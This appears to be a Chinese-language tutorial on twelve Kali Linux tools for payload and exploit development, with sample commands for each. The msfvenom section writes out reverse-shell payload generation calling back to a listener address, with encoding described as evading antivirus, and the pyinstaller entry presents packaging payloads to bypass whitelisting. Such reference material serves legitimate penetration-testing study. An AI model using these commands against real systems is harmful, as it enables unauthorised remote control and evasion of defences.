image-20260125123345317

图中展示的是 Kali Linux 系统中“资源开发”(Resource Development)分类下的 12个核心工具,主要用于漏洞利用代码编写、Shellcode 生成、程序逆向、漏洞数据库查询等任务。这些工具是渗透测试人员在初始访问、执行、权限提升等攻击阶段的重要支撑,尤其在定制化攻击载荷开发中不可或缺。

(一)clang

作用:C/C++/Objective-C 编译器前端,基于 LLVM 构建,用于编译本地程序或生成 shellcode。
功能

  • 支持多种语言:C、C++、Objective-C、OpenCL、CUDA 等。

  • 编译速度快、错误提示清晰、内存占用低。

  • 可跨平台编译(如为 ARM 架构生成代码)。

  • 常用于编译漏洞利用代码、编写自定义 shellcode。
    常用命令

  • 编译 C 程序:

    clang hello.c -o hello
    
  • 生成 shellcode(结合汇编):

    clang -c -o shellcode.o shellcode.s
    
  • 交叉编译(如为树莓派):

    clang --target=arm-linux-gnueabihf -mcpu=cortex-a9 shellcode.c -o shellcode_arm
    

(二)clang++

作用:Clang 的 C++ 编译器前端,功能与 clang 类似,专为 C++ 代码设计。
功能

  • 支持现代 C++ 标准(如 C++17/20)。

  • 可与 clang 协同工作,用于开发复杂漏洞利用框架。

  • 常用于编译 Metasploit 模块、自定义 payload。
    常用命令

  • 编译 C++ 程序:

    clang++ main.cpp -o main
    
  • 静态链接:

    clang++ main.cpp -static -o main_static
    

(三)generic_chunked

作用:SPIKE 框架中的模糊测试工具,用于发送分块数据包,测试目标服务对分块传输编码的处理。
功能

  • 模拟 HTTP 分块传输,发送异常分块数据。
  • 用于发现 Web 服务器、代理、应用防火墙的解析漏洞。
  • 常用于 Web 漏洞挖掘(如 CVE-2011-3192 Apache 分块编码漏洞)。
    使用方式
  • 编写 SPIKE 脚本,调用 generic_chunked 发送恶意分块数据。
  • 结合模糊测试框架,自动化触发异常。

(四)generic_listen_tcp

作用:SPIKE 框架中的 TCP 监听工具,用于接收并记录客户端连接。
功能

  • 监听指定端口,接收 TCP 连接。

  • 记录客户端发送的数据,辅助分析漏洞触发行为。

  • 常用于回调 shell、反向连接测试。
    使用方式

  • 启动监听:

    generic_listen_tcp 4444
    
  • 配合恶意 payload,接收目标主机的连接请求。

(五)generic_send_tcp

作用:SPIKE 框架中的 TCP 发送工具,用于向目标发送自定义 TCP 数据。
功能

  • 发送原始 TCP 数据包,支持模糊测试。

  • 可构造异常请求,测试服务稳定性。

  • 常用于协议模糊测试(如 FTP、SMTP、HTTP)。
    使用方式

  • 发送数据:

    generic_send_tcp target.com 80 < request.spike
    
  • 结合 SPIKE 脚本,自动化发送变异数据。

(六)generic_send_udp

作用:SPIKE 框架中的 UDP 发送工具,用于发送 UDP 数据包。
功能

  • 发送原始 UDP 数据包,支持模糊测试。

  • 用于测试 UDP 服务(如 DNS、DHCP、SNMP)的健壮性。
    使用方式

  • 发送 UDP 数据:

    generic_send_udp target.com 53 < dns_fuzz.spike
    

(七)msf-nasm_shell

作用:Metasploit 框架中的汇编/反汇编工具,用于生成和调试 x86 shellcode。
功能

  • 实时汇编:将汇编指令转换为机器码。

  • 反汇编:将十六进制 shellcode 还原为汇编指令。

  • 常用于编写、调试自定义 shellcode。
    使用方式

  • 启动:

    msf-nasm_shell
    
  • 汇编指令:

    xor eax, eax
    
  • 反汇编 shellcode:

    \x31\xc0
    

(八)msfpc

作用:Metasploit 命令行快捷启动器,用于快速生成、执行 payload。
功能

  • 图形化向导:引导用户选择目标平台、payload 类型。

  • 快速生成:一键生成可执行文件、脚本、Shellcode。

  • 支持多种输出格式(EXE、ELF、PHP、Python 等)。
    使用方式

  • 启动向导:

    msfpc
    
  • 选择平台(如 Windows)、payload(如 reverse_tcp),生成 EXE。

(九)msfvenom

作用:Metasploit 的 payload 生成与编码工具,用于创建免杀、跨平台的攻击载荷。
功能

  • 生成多种 payload(如 reverse shell、bind shell)。

  • 支持编码、混淆、加密,绕过杀毒软件。

  • 可嵌入到合法程序中,实现 DLL 注入、进程 hollowing。
    常用命令

  • 生成 Linux reverse shell:

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
    
  • 生成 Windows EXE:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
    
  • 多重编码:

    msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 5 -f exe -o shell_encoded.exe
    

(十)pyinstaller

作用:Python 程序打包工具,将 Python 脚本打包为独立可执行文件。
功能

  • 支持 Windows、Linux、macOS。

  • 可打包为单文件、目录模式,支持图标替换。

  • 常用于将 Python 编写的 payload 打包为 EXE,绕过白名单。
    常用命令

  • 打包单文件:

    pyinstaller --onefile script.py
    
  • 指定图标:

    pyinstaller --onefile --icon=icon.ico script.py
    

(十一)radare2

作用:开源的逆向工程框架,支持二进制分析、调试、反汇编。
功能

  • 支持多种架构(x86、ARM、MIPS、PowerPC 等)。

  • 提供命令行界面,支持脚本扩展。

  • 可分析 ELF、PE、Mach-O 等格式文件。
    常用命令

  • 分析二进制:

    r2 /path/to/binary
    
  • 反汇编主函数:

    pdf @ main
    
  • 交互式调试:

    doo
    

(十二)searchsploit

作用:本地漏洞数据库查询工具,用于快速查找公开漏洞利用代码。
功能

  • 内置 Exploit-DB 数据库,支持离线搜索。

  • 可按关键词、CVE 编号、平台、语言搜索。

  • 支持复制漏洞文件到当前目录。
    常用命令

  • 搜索关键词:

    searchsploit vsftpd
    
  • 按 CVE 搜索:

    searchsploit CVE-2011-2523 # 该漏洞已修复,本地搜索大概率搜不到了
    
  • 复制漏洞文件:

    searchsploit -m 12345